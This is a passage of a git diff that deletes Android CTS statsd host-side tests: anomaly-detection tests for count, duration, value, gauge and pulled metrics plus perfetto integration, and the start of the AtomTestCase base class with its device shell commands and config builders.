-    private static final int WAIT_AFTER_BREADCRUMB_MS = 2000;
-
-    // Config constants
-    private static final int APP_BREADCRUMB_REPORTED_MATCH_START_ID = 1;
-    private static final int APP_BREADCRUMB_REPORTED_MATCH_STOP_ID = 2;
-    private static final int METRIC_ID = 8;
-    private static final int ALERT_ID = 11;
-    private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
-    private static final int SUBSCRIPTION_ID_PERFETTO = 42;
-    private static final int ANOMALY_DETECT_MATCH_ID = 10;
-    private static final int ANOMALY_EVENT_ID = 101;
-    private static final int INCIDENTD_SECTION = -1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!INCIDENTD_TESTS_ENABLED) {
-            CLog.w(TAG, TAG + " anomaly tests are disabled by a flag. Change flag to true to run");
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (PERFETTO_TESTS_ENABLED) {
-            //Deadline to finish trace collection
-            final long deadLine = System.currentTimeMillis() + 10000;
-            while (isSystemTracingEnabled()) {
-                if (System.currentTimeMillis() > deadLine) {
-                    CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
-                    break;
-                }
-                CLog.d("Waiting to finish collecting traces. ");
-                Thread.sleep(WAIT_TIME_SHORT);
-            }
-        }
-    }
-
-    // Tests that anomaly detection for count works.
-    // Also tests that anomaly detection works when spanning multiple buckets.
-    public void testCountAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
-                .addCountMetric(CountMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.CTS) // 1 second
-                        // Slice by label
-                        .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        // count(label=6) -> 1 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(6);
-        Thread.sleep(500);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // count(label=6) -> 2 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(6);
-        Thread.sleep(500);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // count(label=12) -> 1 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(12);
-        Thread.sleep(1000);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Tests that anomaly detection for duration works.
-    // Also tests that refractory periods in anomaly detection work.
-    public void testDurationAnomalyDetection() throws Exception {
-        final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
-        StatsdConfig.Builder config =
-                getBaseConfig(17, 17, 10_000_000_000L  /*threshold: > 10 seconds in nanoseconds*/)
-                        .addDurationMetric(DurationMetric.newBuilder()
-                                .setId(METRIC_ID)
-                                .setWhat(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // predicate below
-                                .setAggregationType(DurationMetric.AggregationType.SUM)
-                                .setBucket(TimeUnit.CTS) // 1 second
-                        )
-                        .addPredicate(StatsdConfigProto.Predicate.newBuilder()
-                                .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
-                                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                                )
-                        );
-        uploadConfig(config);
-
-        // Since timing is crucial and checking logcat for incidentd is slow, we don't test for it.
-
-        // Test that alarm doesn't fire early.
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(6_000);  // Recorded duration at end: 6s
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(4_000);  // Recorded duration at end: 6s
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(9_000);  // Recorded duration at end: 13s
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
-        // Now test that the refractory period is obeyed.
-        markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStop(1);
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(3_000);  // Recorded duration at end: 13s
-        // NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that detection works again after refractory period finishes.
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(8_000);  // Recorded duration at end: 9s
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(15_000);  // Recorded duration at end: 15s
-        // We can do an incidentd test now that all the timing issues are done.
-        data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-
-        doAppBreadcrumbReportedStop(1);
-    }
-
-    // Tests that anomaly detection for duration works even when the alarm fires too late.
-    public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
-        final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
-        StatsdConfig.Builder config =
-                getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
-                        .addDurationMetric(DurationMetric.newBuilder()
-                                .setId(METRIC_ID)
-                                .setWhat(
-                                        APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // Predicate below.
-                                .setAggregationType(DurationMetric.AggregationType.SUM)
-                                .setBucket(TimeUnit.CTS) // 1 second
-                        )
-                        .addPredicate(StatsdConfigProto.Predicate.newBuilder()
-                                .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
-                                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                                )
-                        );
-        uploadConfig(config);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(5_000);
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(2_000);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that alarm does fire when it is supposed to.
-        // The anomaly occurs in 1s, but alarms won't fire that quickly.
-        // It is likely that the alarm will only fire after this period is already over, but the
-        // anomaly should nonetheless be detected when the event stops.
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(1_200);
-        // Anomaly should be detected here if the alarm didn't fire yet.
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(200);
-        List<EventMetricData> data = getEventMetricDataList();
-        if (data.size() == 2) {
-            // Although we expect that the alarm won't fire, we certainly cannot demand that.
-            CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
-        }
-        assertThat(data.size()).isAnyOf(1, 2);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-    }
-
-    // Tests that anomaly detection for value works.
-    public void testValueAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        // Get the label field's value:
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        doAppBreadcrumbReportedStart(14); // value = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Test that anomaly detection integrates with perfetto properly.
-    public void testPerfetto() throws Exception {
-        String chars = getDevice().getProperty("ro.build.characteristics");
-        if (chars.contains("watch")) {
-                return;
-        }
-
-        if (PERFETTO_TESTS_ENABLED) resetPerfettoGuardrails();
-
-        StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
-                .addSubscription(Subscription.newBuilder()
-                        .setId(SUBSCRIPTION_ID_PERFETTO)
-                        .setRuleType(Subscription.RuleType.ALERT)
-                        .setRuleId(ALERT_ID)
-                        .setPerfettoDetails(PerfettoDetails.newBuilder()
-                                .setTraceConfig(getPerfettoConfig()))
-                )
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        // Get the label field's value:
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
-
-        doAppBreadcrumbReportedStart(14); // value = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
-        // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
-        if (PERFETTO_TESTS_ENABLED) {
-                boolean tracingEnabled = false;
-                for (int i = 0; i < 5; i++) {
-                        if (isSystemTracingEnabled()) {
-                                tracingEnabled = true;
-                                break;
-                        }
-                        Thread.sleep(1000);
-                }
-                assertThat(tracingEnabled).isTrue();
-        }
-    }
-
-    // Tests that anomaly detection for gauge works.
-    public void testGaugeAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.CTS)
-                        // Get the label field's value into the gauge:
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
-                                        .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                        .addChild(FieldMatcher.newBuilder()
-                                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
-        Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // We waited for >1s above, so we are now in the next bucket (which is essential).
-        doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Test that anomaly detection for pulled metrics work.
-    public void testPulledAnomalyDetection() throws Exception {
-        final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER;  // A pulled atom
-        final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
-        final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER;  // Something that will be > 0.
-        final int ATOM_MATCHER_ID = 300;
-
-        StatsdConfig.Builder config = getBaseConfig(10, 20, 0 /* threshold: value > 0 */)
-                .addAllowedLogSource("AID_SYSTEM")
-                // Track the ATOM_ID pulled atom
-                .addAtomMatcher(StatsdConfigProto.AtomMatcher.newBuilder()
-                        .setId(ATOM_MATCHER_ID)
-                        .setSimpleAtomMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                                .setAtomId(ATOM_ID)))
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(ATOM_MATCHER_ID)
-                        .setBucket(TimeUnit.CTS)
-                        .setSamplingType(GaugeMetric.SamplingType.RANDOM_ONE_SAMPLE)
-                        // Slice by SLICE_BY_FIELD (typical usecase)
-                        .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                .setField(ATOM_ID)
-                                .addChild(FieldMatcher.newBuilder().setField(SLICE_BY_FIELD))
-                        )
-                        // Track the VALUE_FIELD (anomaly detection requires exactly one field here)
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
-                                        .setField(ATOM_ID)
-                                        .addChild(FieldMatcher.newBuilder().setField(VALUE_FIELD))
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        Thread.sleep(6_000); // Wait long enough to ensure AlarmManager signals >= 1 pull
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // There will likely be many anomalies (one for each dimension). There must be at least one.
-        assertThat(data.size()).isAtLeast(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-    }
-
-
-    private final StatsdConfig.Builder getBaseConfig(int numBuckets,
-                                                     int refractorySecs,
-                                                     long triggerIfSumGt) throws Exception {
-      return createConfigBuilder()
-          // Items of relevance for detecting the anomaly:
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                          // Event only when the uid is this app's uid.
-                          .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(
-                              createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                  .setEqInt(AppBreadcrumbReported.State.START.ordinal()))))
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                          // Event only when the uid is this app's uid.
-                          .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(
-                              createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                  .setEqInt(AppBreadcrumbReported.State.STOP.ordinal()))))
-          .addAlert(Alert.newBuilder()
-                        .setId(ALERT_ID)
-                        .setMetricId(METRIC_ID) // The metric itself must yet be added by the test.
-                        .setNumBuckets(numBuckets)
-                        .setRefractoryPeriodSecs(refractorySecs)
-                        .setTriggerIfSumGt(triggerIfSumGt))
-          .addSubscription(
-              Subscription.newBuilder()
-                  .setId(SUBSCRIPTION_ID_INCIDENTD)
-                  .setRuleType(Subscription.RuleType.ALERT)
-                  .setRuleId(ALERT_ID)
-                  .setIncidentdDetails(IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)))
-          // We want to trigger anomalies on METRIC_ID, but don't want the actual data.
-          .addNoReportMetric(METRIC_ID)
-
-          // Items of relevance to reporting the anomaly (we do want this data):
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(ANOMALY_DETECT_MATCH_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.ANOMALY_DETECTED_FIELD_NUMBER)
-                          .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_ID_FIELD_NUMBER)
-                                                    .setEqInt(CONFIG_ID))))
-          .addEventMetric(StatsdConfigProto.EventMetric.newBuilder()
-                              .setId(ANOMALY_EVENT_ID)
-                              .setWhat(ANOMALY_DETECT_MATCH_ID));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
deleted file mode 100644
index 8ce54f3..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ /dev/null
@@ -1,1164 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryStatsProto;
-import android.os.StatsDataDumpProto;
-import android.service.battery.BatteryServiceDumpProto;
-import android.service.batterystats.BatteryStatsServiceDumpProto;
-import android.service.procstats.ProcessStatsServiceDumpProto;
-
-import com.android.annotations.Nullable;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import com.google.common.collect.Range;
-import com.google.common.io.Files;
-import com.google.protobuf.ByteString;
-
-import perfetto.protos.PerfettoConfig.DataSourceConfig;
-import perfetto.protos.PerfettoConfig.FtraceConfig;
-import perfetto.protos.PerfettoConfig.TraceConfig;
-
-import java.io.File;
-import java.text.SimpleDateFormat;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Comparator;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Queue;
-import java.util.Random;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Base class for testing Statsd atoms.
- * Validates reporting of statsd logging based on different events
- */
-public class AtomTestCase extends BaseTestCase {
-
-    /**
-     * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
-     * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
-     */
-    public static final boolean OPTIONAL_TESTS_ENABLED = false;
-
-    public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
-    public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
-    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
-    public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
-    public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
-    public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
-    public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
-    /** ID of the config, which evaluates to -1572883457. */
-    public static final long CONFIG_ID = "cts_config".hashCode();
-
-    public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
-    public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
-    public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
-    public static final String FEATURE_CAMERA = "android.hardware.camera";
-    public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
-    public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
-    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
-    public static final String FEATURE_PC = "android.hardware.type.pc";
-    public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
-    public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
-    public static final String FEATURE_WATCH = "android.hardware.type.watch";
-    public static final String FEATURE_WIFI = "android.hardware.wifi";
-    public static final String FEATURE_INCREMENTAL_DELIVERY =
-            "android.software.incremental_delivery";
-
-    // Telephony phone types
-    public static final int PHONE_TYPE_GSM = 1;
-    public static final int PHONE_TYPE_CDMA = 2;
-    public static final int PHONE_TYPE_CDMA_LTE = 6;
-
-    protected static final int WAIT_TIME_SHORT = 1000;
-    protected static final int WAIT_TIME_LONG = 2_000;
-
-    protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
-    protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
-
-    protected static final long NS_PER_SEC = (long) 1E+9;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // Uninstall to clear the history in case it's still on the device.
-        removeConfig(CONFIG_ID);
-        getReportList(); // Clears data.
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        removeConfig(CONFIG_ID);
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Determines whether logcat indicates that incidentd fired since the given device date.
-     */
-    protected boolean didIncidentdFireSince(String date) throws Exception {
-        final String INCIDENTD_TAG = "incidentd";
-        final String INCIDENTD_STARTED_STRING = "reportIncident";
-        // TODO: Do something more robust than this in case of delayed logging.
-        Thread.sleep(1000);
-        String log = getLogcatSince(date, String.format(
-                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
-        return log.contains(INCIDENTD_STARTED_STRING);
-    }
-
-    protected boolean checkDeviceFor(String methodName) throws Exception {
-        try {
-            installPackage(DEVICE_SIDE_TEST_APK, true);
-            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
-            // Test passes, meaning that the answer is true.
-            LogUtil.CLog.d(methodName + "() indicates true.");
-            return true;
-        } catch (AssertionError e) {
-            // Method is designed to fail if the answer is false.
-            LogUtil.CLog.d(methodName + "() indicates false.");
-            return false;
-        }
-    }
-
-    /**
-     * Returns a protobuf-encoded perfetto config that enables the kernel
-     * ftrace tracer with sched_switch for 10 seconds.
-     */
-    protected ByteString getPerfettoConfig() {
-        TraceConfig.Builder builder = TraceConfig.newBuilder();
-
-        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
-            .newBuilder()
-            .setSizeKb(128)
-            .build();
-        builder.addBuffers(buffer);
-
-        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
-            .addFtraceEvents("sched/sched_switch")
-            .build();
-        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
-            .setName("linux.ftrace")
-            .setTargetBuffer(0)
-            .setFtraceConfig(ftraceConfig)
-            .build();
-        TraceConfig.DataSource dataSource = TraceConfig.DataSource
-            .newBuilder()
-            .setConfig(dataSourceConfig)
-            .build();
-        builder.addDataSources(dataSource);
-
-        builder.setDurationMs(10000);
-        builder.setAllowUserBuildTracing(true);
-
-        TraceConfig.IncidentReportConfig incident = TraceConfig.IncidentReportConfig
-            .newBuilder()
-            .setDestinationPackage("foo.bar.baz")
-            .build();
-        builder.setIncidentReportConfig(incident);
-
-        // To avoid being hit with guardrails firing in multiple test runs back
-        // to back, we set a unique session key for each config.
-        Random random = new Random();
-        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
-        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
-        builder.setUniqueSessionName(sessionNameBuilder.toString());
-
-        return builder.build().toByteString();
-    }
-
-    /**
-     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
-     * run too close of for too many times and hits the upload limit.
-     */
-    protected void resetPerfettoGuardrails() throws Exception {
-        final String cmd = "perfetto --reset-guardrails";
-        CommandResult cr = getDevice().executeShellV2Command(cmd);
-        if (cr.getStatus() != CommandStatus.SUCCESS)
-            throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
-    }
-
-    private String probe(String path) throws Exception {
-        return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
-                + " cat " + path + " ; else echo -1 ; fi");
-    }
-
-    /**
-     * Determines whether perfetto enabled the kernel ftrace tracer.
-     */
-    protected boolean isSystemTracingEnabled() throws Exception {
-        final String traceFsPath = "/sys/kernel/tracing/tracing_on";
-        String tracing_on = probe(traceFsPath);
-        if (tracing_on.startsWith("0")) return false;
-        if (tracing_on.startsWith("1")) return true;
-
-        // fallback to debugfs
-        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
-                tracing_on);
-
-        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
-        tracing_on = probe(debugFsPath);
-        if (tracing_on.startsWith("0")) return false;
-        if (tracing_on.startsWith("1")) return true;
-        throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
-    }
-
-    protected static StatsdConfig.Builder createConfigBuilder() {
-      return StatsdConfig.newBuilder()
-          .setId(CONFIG_ID)
-          .addAllowedLogSource("AID_SYSTEM")
-          .addAllowedLogSource("AID_BLUETOOTH")
-          // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
-          .addAllowedLogSource("com.android.bluetooth")
-          .addAllowedLogSource("AID_LMKD")
-          .addAllowedLogSource("AID_RADIO")
